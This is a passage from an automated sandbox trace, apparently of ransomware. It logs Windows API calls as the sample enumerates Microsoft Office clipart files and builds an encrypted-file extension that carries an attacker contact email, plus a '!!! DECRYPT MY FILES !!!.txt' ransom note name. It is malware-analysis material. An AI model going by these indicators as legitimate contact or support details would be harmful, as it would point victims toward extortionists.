DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.700] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.700] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.700] GetProcessHeap () returned 0x630000 [0133.700] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x130) returned 0x66a3e0 [0133.700] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0133.700] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 1 [0133.700] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf") returned 0x44 [0133.700] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.700] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.700] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.700] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.701] GetProcessHeap () returned 0x630000 [0133.701] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x134) returned 0x66a3e0 [0133.701] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0133.701] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 1 [0133.701] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf") returned 0x44 [0133.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.701] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.701] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.701] GetProcessHeap () returned 0x630000 [0133.701] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x138) returned 0x66a3e0 [0133.701] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0133.701] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 1 [0133.701] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf") returned 0x44 [0133.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.702] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.702] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.702] GetProcessHeap () returned 0x630000 [0133.702] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x13c) returned 0x66a3e0 [0133.702] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0133.702] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 1 [0133.702] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf") returned 0x44 [0133.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.702] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.702] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.703] GetProcessHeap () returned 0x630000 [0133.703] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x140) returned 0x66a3e0 [0133.703] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0133.703] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 1 [0133.703] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf") returned 0x44 [0133.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.703] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.703] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.703] GetProcessHeap () returned 0x630000 [0133.703] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x144) returned 0x66a3e0 [0133.703] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0133.704] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 1 [0133.704] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf") returned 0x44 [0133.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.704] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.704] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.704] GetProcessHeap () returned 0x630000 [0133.704] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x148) returned 0x66a3e0 [0133.704] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0133.704] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 1 [0133.704] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf") returned 0x44 [0133.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.705] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.705] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.705] GetProcessHeap () returned 0x630000 [0133.705] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x14c) returned 0x66a3e0 [0133.705] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0133.705] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 1 [0133.705] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif") returned 0x44 [0133.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.705] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.705] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.705] GetProcessHeap () returned 0x630000 [0133.705] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x150) returned 0x66a3e0 [0133.705] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0133.706] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 1 [0133.706] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif") returned 0x44 [0133.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.706] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.706] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.706] GetProcessHeap () returned 0x630000 [0133.706] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x154) returned 0x66a3e0 [0133.706] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0133.706] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 1 [0133.706] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif") returned 0x44 [0133.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.707] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.707] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.707] GetProcessHeap () returned 0x630000 [0133.707] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x158) returned 0x66a3e0 [0133.707] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0133.707] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 1 [0133.707] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif") returned 0x44 [0133.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.707] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.707] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.708] GetProcessHeap () returned 0x630000 [0133.708] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x15c) returned 0x66a3e0 [0133.708] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0133.708] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 1 [0133.708] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf") returned 0x44 [0133.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.708] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.708] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.708] GetProcessHeap () returned 0x630000 [0133.708] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x160) returned 0x66a3e0 [0133.708] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, 